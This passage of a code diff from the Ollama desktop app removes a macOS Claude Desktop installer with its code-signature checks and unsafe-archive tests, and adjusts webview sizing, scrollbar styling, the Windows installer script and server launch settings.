-		return fmt.Errorf("close Claude Desktop archive file: %w", inputErr)
-	}
-	if outputErr != nil {
-		return fmt.Errorf("close extracted Claude Desktop file: %w", outputErr)
-	}
-	return nil
-}
-
-func readClaudeDesktopZipFile(file *zip.File, limit int64) ([]byte, error) {
-	reader, err := file.Open()
-	if err != nil {
-		return nil, err
-	}
-	defer reader.Close()
-	data, err := io.ReadAll(io.LimitReader(reader, limit+1))
-	if err != nil {
-		return nil, err
-	}
-	if int64(len(data)) > limit {
-		return nil, fmt.Errorf("archive entry exceeds %d bytes", limit)
-	}
-	return data, nil
-}
-
-func validateClaudeDesktopBundle(bundlePath string) error {
-	info, err := os.Stat(bundlePath)
-	if err != nil || !info.IsDir() {
-		return errors.New("Claude Desktop archive does not contain Claude.app")
-	}
-	executable := filepath.Join(bundlePath, "Contents", "MacOS", "Claude")
-	info, err = os.Stat(executable)
-	if err != nil {
-		return fmt.Errorf("Claude Desktop executable is missing: %w", err)
-	}
-	if !info.Mode().IsRegular() || info.Mode()&0o111 == 0 {
-		return errors.New("Claude Desktop executable is not executable")
-	}
-	return nil
-}
-
-func verifyClaudeDesktopBundle(bundlePath string) error {
-	if output, err := exec.Command("/usr/bin/codesign", "--verify", "--deep", "--strict", bundlePath).CombinedOutput(); err != nil {
-		return fmt.Errorf("codesign verification failed: %w: %s", err, strings.TrimSpace(string(output)))
-	}
-	output, err := exec.Command("/usr/bin/codesign", "-d", "--verbose=4", bundlePath).CombinedOutput()
-	if err != nil {
-		return fmt.Errorf("read code signature: %w: %s", err, strings.TrimSpace(string(output)))
-	}
-	details := string(output)
-	if !strings.Contains(details, "Identifier="+claudeDesktopBundleID) ||
-		!strings.Contains(details, "TeamIdentifier="+claudeDesktopTeamID) {
-		return fmt.Errorf("unexpected Claude Desktop signing identity")
-	}
-	return nil
-}

app/cmd/app/claude_desktop_installer_darwin_test.go

@@ -1,162 +0,0 @@
-//go:build darwin
-
-package main
-
-import (
-	"archive/zip"
-	"errors"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-)
-
-func TestInstallClaudeDesktopZip(t *testing.T) {
-	archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
-		"Claude.app/":                        {directory: true},
-		"Claude.app/Contents/":               {directory: true},
-		"Claude.app/Contents/MacOS/":         {directory: true},
-		"Claude.app/Contents/MacOS/Claude":   {body: "binary", mode: 0o755},
-		"Claude.app/Contents/Resources/":     {directory: true},
-		"Claude.app/Contents/Resources/link": {body: "../MacOS/Claude", mode: os.ModeSymlink | 0o777},
-	})
-	destination := filepath.Join(t.TempDir(), "Applications", "Claude.app")
-	var verified string
-	installed, err := installClaudeDesktopZip(archive, []string{destination}, func(bundle string) error {
-		verified = bundle
-		return nil
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if installed != destination || verified == "" {
-		t.Fatalf("installed = %q, verified = %q", installed, verified)
-	}
-	info, err := os.Stat(filepath.Join(installed, "Contents", "MacOS", "Claude"))
-	if err != nil {
-		t.Fatal(err)
-	}
-	if info.Mode()&0o111 == 0 {
-		t.Fatal("installed Claude executable is not executable")
-	}
-	if target, err := os.Readlink(filepath.Join(installed, "Contents", "Resources", "link")); err != nil || target != "../MacOS/Claude" {
-		t.Fatalf("symlink target = %q, err = %v", target, err)
-	}
-}
-
-func TestInstallClaudeDesktopZipRejectsUnsafeArchives(t *testing.T) {
-	for _, test := range []struct {
-		name    string
-		entries map[string]claudeDesktopTestZipEntry
-	}{
-		{name: "path traversal", entries: map[string]claudeDesktopTestZipEntry{"../Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755}}},
-		{name: "unexpected root", entries: map[string]claudeDesktopTestZipEntry{"README": {body: "nope", mode: 0o644}}},
-		{name: "escaping symlink", entries: map[string]claudeDesktopTestZipEntry{
-			"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
-			"Claude.app/escape":                {body: "../../outside", mode: os.ModeSymlink | 0o777},
-		}},
-	} {
-		t.Run(test.name, func(t *testing.T) {
-			archive := writeClaudeDesktopTestZip(t, test.entries)
-			destination := filepath.Join(t.TempDir(), "Claude.app")
-			if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return nil }); err == nil {
-				t.Fatal("installClaudeDesktopZip succeeded")
-			}
-			if _, err := os.Stat(destination); !errors.Is(err, os.ErrNotExist) {
-				t.Fatalf("unsafe archive created destination: %v", err)
-			}
-		})
-	}
-}
-
-func TestInstallClaudeDesktopZipVerifiesBeforeMove(t *testing.T) {
-	archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
-		"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
-	})
-	destination := filepath.Join(t.TempDir(), "Claude.app")
-	wantErr := errors.New("invalid signature")
-	if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return wantErr }); !errors.Is(err, wantErr) {
-		t.Fatalf("error = %v, want %v", err, wantErr)
-	}
-	if _, err := os.Stat(destination); !errors.Is(err, os.ErrNotExist) {
-		t.Fatalf("invalid bundle created destination: %v", err)
-	}
-}
-
-func TestInstallClaudeDesktopZipDoesNotOverwrite(t *testing.T) {
-	archive := writeClaudeDesktopTestZip(t, map[string]claudeDesktopTestZipEntry{
-		"Claude.app/Contents/MacOS/Claude": {body: "binary", mode: 0o755},
-	})
-	destination := filepath.Join(t.TempDir(), "Claude.app")
-	if err := os.MkdirAll(destination, 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := installClaudeDesktopZip(archive, []string{destination}, func(string) error { return nil }); !errors.Is(err, errClaudeDesktopDestinationExists) {
-		t.Fatalf("error = %v, want destination exists", err)
-	}
-}
-
-func TestInstallClaudeDesktopZipRealArchive(t *testing.T) {
-	archive := os.Getenv("OLLAMA_TEST_CLAUDE_DESKTOP_ZIP")
-	if archive == "" {
-		t.Skip("set OLLAMA_TEST_CLAUDE_DESKTOP_ZIP to a downloaded Claude Desktop ZIP")
-	}
-	destination := filepath.Join(t.TempDir(), "Applications", "Claude.app")
-	installed, err := installClaudeDesktopZip(
-		archive,
-		[]string{destination},
-		verifyClaudeDesktopBundle,
-	)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if installed != destination {
-		t.Fatalf("installed = %q, want %q", installed, destination)
-	}
-}
-
-type claudeDesktopTestZipEntry struct {
-	body      string
-	mode      os.FileMode
-	directory bool
-}
-
-func writeClaudeDesktopTestZip(t *testing.T, entries map[string]claudeDesktopTestZipEntry) string {
-	t.Helper()
-	path := filepath.Join(t.TempDir(), "Claude.zip")
-	file, err := os.Create(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	writer := zip.NewWriter(file)
-	for name, entry := range entries {
-		header := &zip.FileHeader{Name: name, Method: zip.Deflate}
-		if entry.directory {
-			header.SetMode(os.ModeDir | 0o755)
-		} else {
-			header.SetMode(entry.mode)
-		}
-		item, err := writer.CreateHeader(header)
-		if err != nil {
-			t.Fatal(err)
-		}
-		if _, err := item.Write([]byte(entry.body)); err != nil {
-			t.Fatal(err)
-		}
-	}
-	if err := writer.Close(); err != nil {
-		t.Fatal(err)
-	}
-	if err := file.Close(); err != nil {
-		t.Fatal(err)
-	}
-	return path
-}
-
-func TestSafeClaudeDesktopArchivePath(t *testing.T) {
-	for _, name := range []string{"Claude.app", "Claude.app/Contents/MacOS/Claude"} {
-		if got, err := safeClaudeDesktopArchivePath(name); err != nil || got != strings.TrimSuffix(name, "/") {
-			t.Fatalf("safeClaudeDesktopArchivePath(%q) = %q, %v", name, got, err)
-		}
-	}
-}

app/cmd/app/claude_desktop_status.go

@@ -1,44 +0,0 @@
-//go:build darwin
-
-package main
-
-import "github.com/ollama/ollama/internal/proxy"
-
-type claudeDesktopInstallResult string
-
-const (
-	claudeDesktopInstallCancelled claudeDesktopInstallResult = "cancelled"
-	claudeDesktopInstallerOpened  claudeDesktopInstallResult = "opened"
-	claudeDesktopInstallFailed    claudeDesktopInstallResult = "failed"
-)
-
-type claudeDesktopStatus struct {
-	Supported    bool                       `json:"supported"`
-	Used         bool                       `json:"used"`
-	Installed    bool                       `json:"installed"`
-	Configured   bool                       `json:"configured"`
-	Connected    bool                       `json:"connected"`
-	Running      bool                       `json:"running"`
-	StartFailed  bool                       `json:"startFailed"`
-	PortConflict bool                       `json:"portConflict"`
-	GatewayPort  int                        `json:"gatewayPort,omitempty"`
-	Error        string                     `json:"error,omitempty"`
-	ModelSource  string                     `json:"modelSource,omitempty"`
-	Models       []claudeDesktopModelStatus `json:"models,omitempty"`
-}
-
-type claudeDesktopModelStatus struct {
-	Name         string                          `json:"name"`
-	DisplayName  string                          `json:"displayName"`
-	Description  string                          `json:"description,omitempty"`
-	Cloud        bool                            `json:"cloud"`
-	Selected     bool                            `json:"selected"`
-	Availability proxy.ClaudeDesktopAvailability `json:"availability"`
-	Reason       proxy.ClaudeDesktopAccessReason `json:"reason,omitempty"`
-	RequiredPlan string                          `json:"requiredPlan,omitempty"`
-}
-
-type claudeDesktopActionResult struct {
-	Status claudeDesktopStatus `json:"status"`
-	Error  string              `json:"error,omitempty"`
-}

app/cmd/app/webview.go

@@ -16,7 +16,6 @@ import (
 	"runtime"
 	"strings"
 	"sync"
-	"sync/atomic"
 	"time"
 	"unsafe"
 
@@ -25,21 +24,11 @@ import (
 	"github.com/ollama/ollama/app/webview"
 )
 
-const (
-	defaultWindowWidth     = 1360
-	defaultWindowHeight    = 960
-	onboardingWindowWidth  = 900
-	onboardingWindowHeight = 660
-	minimumWindowWidth     = onboardingWindowWidth
-	minimumWindowHeight    = onboardingWindowHeight
-)
-
 type Webview struct {
-	port       int
-	token      string
-	webview    webview.WebView
-	mutex      sync.Mutex
-	onboarding atomic.Bool
+	port    int
+	token   string
+	webview webview.WebView
+	mutex   sync.Mutex
 
 	Store *store.Store
 }
@@ -99,32 +88,85 @@ func (w *Webview) Run(path string) unsafe.Pointer {
 		// Windows-specific scrollbar styling
 		if runtime.GOOS == "windows" {
 			init += `
-				// Keep Edge WebView2 scrollbars aligned with the light-only app theme.
+				// Fix scrollbar styling for Edge WebView2 on Windows only
 				function updateScrollbarStyles() {
+					const isDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
 					const existingStyle = document.getElementById('scrollbar-style');
 					if (existingStyle) existingStyle.remove();
-
+					
 					const style = document.createElement('style');
 					style.id = 'scrollbar-style';
-					style.textContent = ` + "`" + `
-						::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
-						::-webkit-scrollbar-track { background: #f0f0f0 !important; }
-						::-webkit-scrollbar-thumb { background: #c0c0c0 !important; border-radius: 6px !important; }
-						::-webkit-scrollbar-thumb:hover { background: #a0a0a0 !important; }
-						::-webkit-scrollbar-corner { background: #f0f0f0 !important; }
-						::-webkit-scrollbar-button {
-							background: transparent !important;
-							border: none !important;
-							width: 0px !important;
-							height: 0px !important;
-							margin: 0 !important;
-							padding: 0 !important;
-						}
-					` + "`" + `;
+					
+					if (isDark) {
+						style.textContent = ` + "`" + `
+							::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
+							::-webkit-scrollbar-track { background: #1a1a1a !important; }
+							::-webkit-scrollbar-thumb { background: #404040 !important; border-radius: 6px !important; }
+							::-webkit-scrollbar-thumb:hover { background: #505050 !important; }
+							::-webkit-scrollbar-corner { background: #1a1a1a !important; }
+							::-webkit-scrollbar-button { 
+								background: transparent !important;
+								border: none !important;
+								width: 0px !important;
+								height: 0px !important;
+								margin: 0 !important;
+								padding: 0 !important;
+							}
+							::-webkit-scrollbar-button:vertical:start:decrement {
+								background: transparent !important;
+								height: 0px !important;
+							}
+							::-webkit-scrollbar-button:vertical:end:increment {
+								background: transparent !important;
+								height: 0px !important;
+							}
+							::-webkit-scrollbar-button:horizontal:start:decrement {
+								background: transparent !important;
+								width: 0px !important;
+							}
+							::-webkit-scrollbar-button:horizontal:end:increment {
+								background: transparent !important;
+								width: 0px !important;
+							}
+						` + "`" + `;
+					} else {
+						style.textContent = ` + "`" + `
+							::-webkit-scrollbar { width: 6px !important; height: 6px !important; }
+							::-webkit-scrollbar-track { background: #f0f0f0 !important; }
+							::-webkit-scrollbar-thumb { background: #c0c0c0 !important; border-radius: 6px !important; }
+							::-webkit-scrollbar-thumb:hover { background: #a0a0a0 !important; }
+							::-webkit-scrollbar-corner { background: #f0f0f0 !important; }
+							::-webkit-scrollbar-button { 
+								background: transparent !important;
+								border: none !important;
+								width: 0px !important;
+								height: 0px !important;
+								margin: 0 !important;
+								padding: 0 !important;
+							}
+							::-webkit-scrollbar-button:vertical:start:decrement {
+								background: transparent !important;
+								height: 0px !important;
+							}
+							::-webkit-scrollbar-button:vertical:end:increment {
+								background: transparent !important;
+								height: 0px !important;
+							}
+							::-webkit-scrollbar-button:horizontal:start:decrement {
+								background: transparent !important;
+								width: 0px !important;
+							}
+							::-webkit-scrollbar-button:horizontal:end:increment {
+								background: transparent !important;
+								width: 0px !important;
+							}
+						` + "`" + `;
+					}
 					document.head.appendChild(style);
 				}
-
+				
 				window.addEventListener('load', updateScrollbarStyles);
+				window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', updateScrollbarStyles);
 			`
 		}
 		// on windows make ctrl+n open new chat
@@ -145,32 +187,15 @@ func (w *Webview) Run(path string) unsafe.Pointer {
 			`
 		}
 
-		init += fmt.Sprintf(`
-			window.OLLAMA_PLATFORM = %q;
+		init += `
 			window.OLLAMA_WEBSEARCH = true;
-		`, runtime.GOOS)
+		`
 
 		wv.Init(init)
 
 		// Add keyboard handler for zoom
 		wv.Init(`
 			window.addEventListener('keydown', function(e) {
-				const isZoomShortcut = (e.metaKey || e.ctrlKey) && (
-					e.key === '+' || e.key === '=' || e.key === '-' ||
-					e.key === '_' || e.key === '0' ||
-					e.code === 'NumpadAdd' || e.code === 'NumpadSubtract'
-				);
-
-				// Keep fixed-scale onboarding and apps pages at their intended size.
-				const isFixedScalePage =
-					window.location.pathname === '/onboarding' ||
-					window.location.pathname === '/connect';
-				if (isFixedScalePage && isZoomShortcut) {
-					e.preventDefault();
-					e.stopImmediatePropagation();
-					return false;
-				}
-
 				// CMD/Ctrl + Plus/Equals (zoom in)
 				if ((e.metaKey || e.ctrlKey) && (e.key === '+' || e.key === '=')) {
 					e.preventDefault();
@@ -212,41 +237,10 @@ func (w *Webview) Run(path string) unsafe.Pointer {
 			showWindow(wv.Window())
 		})
 
-		wv.Bind("activateOllama", func() {
-			showWindow(wv.Window())
-		})
-
-		bindClaudeDesktop(wv)
-
 		wv.Bind("close", func() {
 			hideWindow(wv.Window())
 		})
 
-		wv.Bind("setOnboardingWindow", func(enabled bool) {
-			w.onboarding.Store(enabled)
-			wv.Dispatch(func() {
-				if enabled {
-					wv.SetSize(onboardingWindowWidth, onboardingWindowHeight, webview.HintFixed)
-					setOnboardingWindowStyle(wv.Window(), true)
-					return
-				}
-
-				width, height := defaultWindowWidth, defaultWindowHeight
-				if w.Store != nil {
-					storedWidth, storedHeight, err := w.Store.WindowSize()
-					if err != nil {
-						slog.Error("failed to restore window size", "error", err)
-					} else if storedWidth > 0 && storedHeight > 0 {
-						width, height = storedWidth, storedHeight
-					}
-				}
-
-				wv.SetSize(width, height, webview.HintNone)
-				wv.SetSize(minimumWindowWidth, minimumWindowHeight, webview.HintMin)
-				setOnboardingWindowStyle(wv.Window(), false)
-			})
-		})
-
 		// Webviews do not allow access to the file system by default, so we need to
 		// bind file system operations here
 		wv.Bind("selectModelsDirectory", func() {
@@ -456,18 +450,18 @@ func (w *Webview) Run(path string) unsafe.Pointer {
 			}()
 		}
 
-		width, height := defaultWindowWidth, defaultWindowHeight
 		if w.Store != nil {
-			storedWidth, storedHeight, err := w.Store.WindowSize()
+			width, height, err := w.Store.WindowSize()
 			if err != nil {
 				slog.Error("failed to get window size", "error", err)
 			}
-			if storedWidth > 0 && storedHeight > 0 {
-				width, height = storedWidth, storedHeight
+			if width > 0 && height > 0 {
+				wv.SetSize(width, height, webview.HintNone)
+			} else {
+				wv.SetSize(800, 600, webview.HintNone)
 			}
 		}
-		wv.SetSize(width, height, webview.HintNone)
-		wv.SetSize(minimumWindowWidth, minimumWindowHeight, webview.HintMin)
+		wv.SetSize(800, 600, webview.HintMin)
 
 		w.webview = wv
 		w.webview.Navigate(url)
@@ -482,7 +476,6 @@ func (w *Webview) Run(path string) unsafe.Pointer {
 }
 
 func (w *Webview) Terminate() {
-	w.onboarding.Store(false)
 	w.mutex.Lock()
 	if w.webview == nil {
 		w.mutex.Unlock()
@@ -496,10 +489,6 @@ func (w *Webview) Terminate() {
 	wv.Destroy()
 }
 
-func (w *Webview) OnboardingActive() bool {
-	return w.onboarding.Load()
-}
-
 func (w *Webview) IsRunning() bool {
 	w.mutex.Lock()
 	defer w.mutex.Unlock()

app/darwin/Ollama.app/Contents/Resources/claude.svg

@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Generated by Pixelmator Pro 3.6.17 -->
-<svg width="1200" height="1200" viewBox="0 0 1200 1200" xmlns="http://www.w3.org/2000/svg">
-    <g id="g314">
-        <path id="path147" fill="#d97757" stroke="none" d="M 233.959793 800.214905 L 468.644287 668.536987 L 472.590637 657.100647 L 468.644287 650.738403 L 457.208069 650.738403 L 417.986633 648.322144 L 283.892639 644.69812 L 167.597321 639.865845 L 54.926208 633.825623 L 26.577238 627.785339 L 3.3e-05 592.751709 L 2.73832 575.27533 L 26.577238 559.248352 L 60.724873 562.228149 L 136.187973 567.382629 L 249.422867 575.194763 L 331.570496 580.026978 L 453.261841 592.671082 L 472.590637 592.671082 L 475.328857 584.859009 L 468.724915 580.026978 L 463.570557 575.194763 L 346.389313 495.785217 L 219.543671 411.865906 L 153.100723 363.543762 L 117.181267 339.060425 L 99.060455 316.107361 L 91.248367 266.01355 L 123.865784 230.093994 L 167.677887 233.073853 L 178.872513 236.053772 L 223.248367 270.201477 L 318.040283 343.570496 L 441.825592 434.738342 L 459.946411 449.798706 L 467.194672 444.64447 L 468.080597 441.020203 L 459.946411 427.409485 L 392.617493 305.718323 L 320.778564 181.932983 L 288.80542 130.630859 L 280.348999 99.865845 C 277.369171 87.221436 275.194641 76.590698 275.194641 63.624268 L 312.322174 13.20813 L 332.8591 6.604126 L 382.389313 13.20813 L 403.248352 31.328979 L 434.013519 101.71814 L 483.865753 212.537048 L 561.181274 363.221497 L 583.812134 407.919434 L 595.892639 449.315491 L 600.40271 461.959839 L 608.214783 461.959839 L 608.214783 454.711609 L 614.577271 369.825623 L 626.335632 265.61084 L 637.771851 131.516846 L 641.718201 93.745117 L 660.402832 48.483276 L 697.530334 24.000122 L 726.52356 37.852417 L 750.362549 72 L 747.060486 94.067139 L 732.886047 186.201416 L 705.100708 330.52356 L 686.979919 427.167847 L 697.530334 427.167847 L 709.61084 415.087341 L 758.496704 350.174561 L 840.644348 247.490051 L 876.885925 206.738342 L 919.167847 161.71814 L 946.308838 140.29541 L 997.61084 140.29541 L 1035.38269 196.429626 L 1018.469849 254.416199 L 965.637634 321.422852 L 921.825562 378.201538 L 859.006714 462.765259 L 819.785278 530.41626 L 823.409424 535.812073 L 832.75177 534.92627 L 974.657776 504.724915 L 1051.328979 490.872559 L 1142.818848 475.167786 L 1184.214844 494.496582 L 1188.724854 514.147644 L 1172.456421 554.335693 L 1074.604126 578.496765 L 959.838989 601.449829 L 788.939636 641.879272 L 786.845764 643.409485 L 789.261841 646.389343 L 866.255127 653.637634 L 899.194702 655.409424 L 979.812134 655.409424 L 1129.932861 666.604187 L 1169.154419 692.537109 L 1192.671265 724.268677 L 1188.724854 748.429688 L 1128.322144 779.194641 L 1046.818848 759.865845 L 856.590759 714.604126 L 791.355774 698.335754 L 782.335693 698.335754 L 782.335693 703.731567 L 836.69812 756.885986 L 936.322205 846.845581 L 1061.073975 962.81897 L 1067.436279 991.490112 L 1051.409424 1014.120911 L 1034.496704 1011.704712 L 924.885986 929.234924 L 882.604126 892.107544 L 786.845764 811.48999 L 780.483276 811.48999 L 780.483276 819.946289 L 802.550415 852.241699 L 919.087341 1027.409424 L 925.127625 1081.127686 L 916.671204 1098.604126 L 886.469849 1109.154419 L 853.288696 1103.114136 L 785.073914 1007.355835 L 714.684631 899.516785 L 657.906067 802.872498 L 650.979858 806.81897 L 617.476624 1167.704834 L 601.771851 1186.147705 L 565.530212 1200 L 535.328857 1177.046997 L 519.302124 1139.919556 L 535.328857 1066.550537 L 554.657776 970.792053 L 570.362488 894.68457 L 584.536926 800.134277 L 592.993347 768.724976 L 592.429626 766.630859 L 585.503479 767.516968 L 514.22821 865.369263 L 405.825531 1011.865906 L 320.053711 1103.677979 L 299.516815 1111.812256 L 263.919525 1093.369263 L 267.221497 1060.429688 L 287.114136 1031.114136 L 405.825531 880.107361 L 477.422913 786.52356 L 523.651062 732.483276 L 523.328918 724.671265 L 520.590698 724.671265 L 205.288605 929.395935 L 149.154434 936.644409 L 124.993355 914.01355 L 127.973183 876.885986 L 139.409409 864.80542 L 234.201385 799.570435 L 233.879227 799.8927 Z"/>
-    </g>
-</svg>

app/dialog/dlgs_windows.go

@@ -143,13 +143,13 @@ func utf16ptr(utf16 []uint16) *uint16 {
 
 func utf16slice(ptr *uint16) []uint16 { //nolint:unused
 	hdr := reflect.SliceHeader{Data: uintptr(unsafe.Pointer(ptr)), Len: 1, Cap: 1}
-	slice := *(*[]uint16)(unsafe.Pointer(&hdr)) //nolint:govet
+	slice := *((*[]uint16)(unsafe.Pointer(&hdr))) //nolint:govet
 	i := 0
 	for slice[len(slice)-1] != 0 {
 		i++
 	}
 	hdr.Len = i
-	slice = *(*[]uint16)(unsafe.Pointer(&hdr)) //nolint:govet
+	slice = *((*[]uint16)(unsafe.Pointer(&hdr))) //nolint:govet
 	return slice
 }
 

app/ollama.iss

@@ -14,7 +14,6 @@
 #define MyAppPublisher "Ollama"
 #define MyAppURL "https://ollama.com/"
 #define MyAppExeName "ollama app.exe"
-#define LlamaServerExeName "llama-server.exe"
 #define MyIcon ".\assets\app.ico"
 
 [Setup]
@@ -91,8 +90,9 @@ DialogFontSize=12
 [Files]
 #if FileExists("..\dist\windows-ollama-app-amd64.exe")
 Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64();  Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
+Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
-Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
 #endif
 
 ; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,11 +103,9 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
 #endif
 
 #if FileExists("..\dist\windows-arm64\ollama.exe")
+Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
 #endif
-#if DirExists("..\dist\windows-arm64\lib\ollama")
-Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
-#endif
 
 Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
 
@@ -120,6 +118,12 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
 Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
 
 [Run]
+#if DirExists("..\dist\windows-arm64")
+Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
+#endif
+#if DirExists("..\dist\windows-amd64")
+Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
+#endif
 Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
 
 [UninstallRun]
@@ -127,7 +131,6 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
 ; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
-Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
 ; HACK!  need to give the server and app enough time to exit
 ; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
 Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -181,6 +184,46 @@ begin
   Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
 end;
 
+{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
+const VCRTL_MIN_V1 = 14;
+const VCRTL_MIN_V2 = 40;
+const VCRTL_MIN_V3 = 33807;
+const VCRTL_MIN_V4 = 0;
+
+ // check if the minimum required vc redist is installed (by looking the registry)
+function vc_redist_needed (): Boolean;
+var
+  sRegKey: string;
+  v1: Cardinal;
+  v2: Cardinal;
+  v3: Cardinal;
+  v4: Cardinal;
+begin
+  if (IsArm64()) then begin
+    sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
+  end else begin
+    sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
+  end;
+  if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1)  and
+      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
+      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
+      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
+  begin
+    Log ('VC Redist version: ' + IntToStr (v1) +
+        '.' + IntToStr (v2) + '.' + IntToStr (v3) +
+        '.' + IntToStr (v4));
+    { Version info was found. Return true if later or equal to our
+       minimal required version RTL_MIN_Vx }
+    Result := not (
+        (v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
+         ((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
+          ((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
+           (v4 >= VCRTL_MIN_V4)))))));
+  end
+  else
+    Result := TRUE;
+end;
+
 function GetDirSize(Path: String): Int64;
 var
   FindRec: TFindRec;
@@ -327,8 +370,5 @@ procedure TaskKill(FileName: String);
 var
   ResultCode: Integer;
 begin
-    Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
-    if FileName <> '{#LlamaServerExeName}' then begin
-      Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
-    end;
+    Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
 end;

app/server/server.go

@@ -41,11 +41,6 @@ type InferenceCompute struct {
 	VRAM    string
 }
 
-type InferenceInfo struct {
-	Computes             []InferenceCompute
-	DefaultContextLength int
-}
-
 func New(s *store.Store, devMode bool) *Server {
 	p := resolvePath("ollama")
 	return &Server{store: s, bin: p, dev: devMode}
@@ -83,29 +78,6 @@ func resolvePath(name string) string {
 	return name
 }
 
-func ollamaServeArgs(args []string) bool {
-	if len(args) < 2 {
-		return false
-	}
-
-	switch strings.Trim(filepath.Base(args[0]), `"`) {
-	case "ollama", "ollama.exe":
-	default:
-		return false
-	}
-
-	for _, rawArg := range args[1:] {
-		arg := strings.Trim(rawArg, `"`)
-		if strings.HasPrefix(arg, "-") {
-			continue
-		}
-
-		return arg == "serve" || arg == "start"
-	}
-
-	return false
-}
-
 // cleanup checks the pid file for a running ollama process
 // and shuts it down gracefully if it is running
 func cleanup() error {
@@ -233,11 +205,6 @@ func (s *Server) cmd(ctx context.Context) (*exec.Cmd, error) {
 		return nil, err
 	}
 
-	cloudDisabled, err := s.store.CloudDisabled()
-	if err != nil {
-		return nil, err
-	}
-
 	cmd := commandContext(ctx, s.bin, "serve")
 	cmd.Stdout, cmd.Stderr = s.log, s.log
 
@@ -263,11 +230,6 @@ func (s *Server) cmd(ctx context.Context) (*exec.Cmd, error) {
 	if settings.ContextLength > 0 {
 		env["OLLAMA_CONTEXT_LENGTH"] = strconv.Itoa(settings.ContextLength)
 	}
-	if cloudDisabled {
-		env["OLLAMA_NO_CLOUD"] = "1"
-	} else {
-		env["OLLAMA_NO_CLOUD"] = "0"
-	}
 	cmd.Env = []string{}
 	for k, v := range env {
 		cmd.Env = append(cmd.Env, k+"="+v)
@@ -300,12 +262,9 @@ func openRotatingLog() (io.WriteCloser, error) {
 
